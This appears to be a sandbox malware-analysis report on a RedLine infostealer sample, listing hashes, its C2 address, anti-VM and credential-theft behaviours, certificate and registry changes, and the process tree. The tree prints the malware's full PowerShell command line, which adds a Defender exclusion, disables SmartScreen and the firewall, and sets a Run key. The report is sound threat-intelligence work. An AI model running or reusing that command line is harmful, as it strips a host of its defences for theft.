redline | e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48

Analysis

max time kernel
149s
max time network
132s
platform
windows7_x64
resource
win7-20220715-en
resource tags

arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
submitted
04-08-2022 11:37

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General

Target

e4.exe
Size

4.5MB
MD5

5c371f2d51427f39d793c6df8487346c
SHA1

8bbc4272d6e36abf84a0d4fac47d49b690bfacdf
SHA256

e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48
SHA512

2f0d208bb52a44a085a9aa32169ba75ae3b5de2a552b2196532e59527eb7a0deb16fd87cc7363d7ec82627fdaba4ecf227bf2dd6da6331202a976a07c723ca34

Score

10^/10

redline 1488 discovery evasion infostealer persistence spyware stealer themida trojan

Malware Config

Extracted

Family

redline

Botnet

1488

46.21.250.111:65367

Attributes

auth_value
e1f55d6c61f97af563fc8c06a2c97666

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start = "4" powershell.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start = "4"	powershell.exe

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1908-57-0x0000000000DA0000-0x0000000001872000-memory.dmp	family_redline
behavioral1/memory/1908-58-0x0000000000DA0000-0x0000000001872000-memory.dmp	family_redline
behavioral1/memory/1908-65-0x0000000000DA0000-0x0000000001872000-memory.dmp	family_redline

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TextOutputHost.exe

Downloads MZ/PE file
Executes dropped EXE 4 IoCs

Processes:

TextOutputHost.exeUpSys.exeUpSys.exeUpSys.exe

pid process

1580 TextOutputHost.exe
1608 UpSys.exe
2000 UpSys.exe
1796 UpSys.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1492 netsh.exe

pid	process
1580	TextOutputHost.exe
1608	UpSys.exe
2000	UpSys.exe
1796	UpSys.exe

pid	process
1492	netsh.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TextOutputHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TextOutputHost.exe

Drops startup file 1 IoCs

Processes:

TextOutputHost.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk TextOutputHost.exe
Loads dropped DLL 4 IoCs

Processes:

e4.exeTextOutputHost.exepowershell.exe

pid process

1908 e4.exe
1384
1580 TextOutputHost.exe
1496 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	TextOutputHost.exe

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1908-57-0x0000000000DA0000-0x0000000001872000-memory.dmp	themida
behavioral1/memory/1908-58-0x0000000000DA0000-0x0000000001872000-memory.dmp	themida
\Users\Admin\AppData\Local\Temp\TextOutputHost.exe	themida
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe	themida
\Users\Admin\AppData\Local\Temp\TextOutputHost.exe	themida
behavioral1/memory/1908-65-0x0000000000DA0000-0x0000000001872000-memory.dmp	themida
behavioral1/memory/1580-67-0x000000013F890000-0x00000001401E8000-memory.dmp	themida
behavioral1/memory/1580-68-0x000000013F890000-0x00000001401E8000-memory.dmp	themida
behavioral1/memory/1580-70-0x000000013F890000-0x00000001401E8000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe	themida
\ProgramData\MicrosoftNetwork\System.exe	themida
behavioral1/memory/1580-96-0x000000013F890000-0x00000001401E8000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	e4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	TextOutputHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

e4.exeTextOutputHost.exe

pid process

1908 e4.exe
1580 TextOutputHost.exe
Drops file in Windows directory 1 IoCs

Processes:

makecab.exe

description ioc process

File created C:\Windows\Logs\CBS\CbsPersist_20220804113805.cab makecab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Logs\CBS\CbsPersist_20220804113805.cab	makecab.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20e617aaf6a7d801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

TextOutputHost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	TextOutputHost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	TextOutputHost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	TextOutputHost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	TextOutputHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	TextOutputHost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	TextOutputHost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

e4.exeTextOutputHost.exepowershell.exeUpSys.exeUpSys.exepowershell.exe

pid	process
1908	e4.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1496	powershell.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1608	UpSys.exe
1608	UpSys.exe
2000	UpSys.exe
2000	UpSys.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
336	powershell.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe
1580	TextOutputHost.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

Processes:

e4.exepowershell.exeUpSys.exeUpSys.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1908	e4.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1608	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	1608	UpSys.exe
Token: SeIncreaseQuotaPrivilege	1608	UpSys.exe
Token: 0	1608	UpSys.exe
Token: SeDebugPrivilege	2000	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	2000	UpSys.exe
Token: SeIncreaseQuotaPrivilege	2000	UpSys.exe
Token: SeDebugPrivilege	336	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

e4.exeTextOutputHost.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 1908 wrote to memory of 1580	1908	e4.exe	TextOutputHost.exe
PID 1908 wrote to memory of 1580	1908	e4.exe	TextOutputHost.exe
PID 1908 wrote to memory of 1580	1908	e4.exe	TextOutputHost.exe
PID 1908 wrote to memory of 1580	1908	e4.exe	TextOutputHost.exe
PID 1580 wrote to memory of 1496	1580	TextOutputHost.exe	powershell.exe
PID 1580 wrote to memory of 1496	1580	TextOutputHost.exe	powershell.exe
PID 1580 wrote to memory of 1496	1580	TextOutputHost.exe	powershell.exe
PID 1496 wrote to memory of 1608	1496	powershell.exe	UpSys.exe
PID 1496 wrote to memory of 1608	1496	powershell.exe	UpSys.exe
PID 1496 wrote to memory of 1608	1496	powershell.exe	UpSys.exe
PID 1496 wrote to memory of 1492	1496	powershell.exe	netsh.exe
PID 1496 wrote to memory of 1492	1496	powershell.exe	netsh.exe
PID 1496 wrote to memory of 1492	1496	powershell.exe	netsh.exe
PID 1796 wrote to memory of 336	1796	UpSys.exe	powershell.exe
PID 1796 wrote to memory of 336	1796	UpSys.exe	powershell.exe
PID 1796 wrote to memory of 336	1796	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\e4.exe
"C:\Users\Admin\AppData\Local\Temp\e4.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908

C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
"C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Drops startup file
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
3⤵
- Modifies security service
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
7⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:336

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
4⤵
- Modifies Windows Firewall
PID:1492

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220804113805.log C:\Windows\Logs\CBS\CbsPersist_20220804113805.cab
1⤵
- Drops file in Windows directory
PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

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Downloads

C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
\ProgramData\MicrosoftNetwork\System.exe
Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
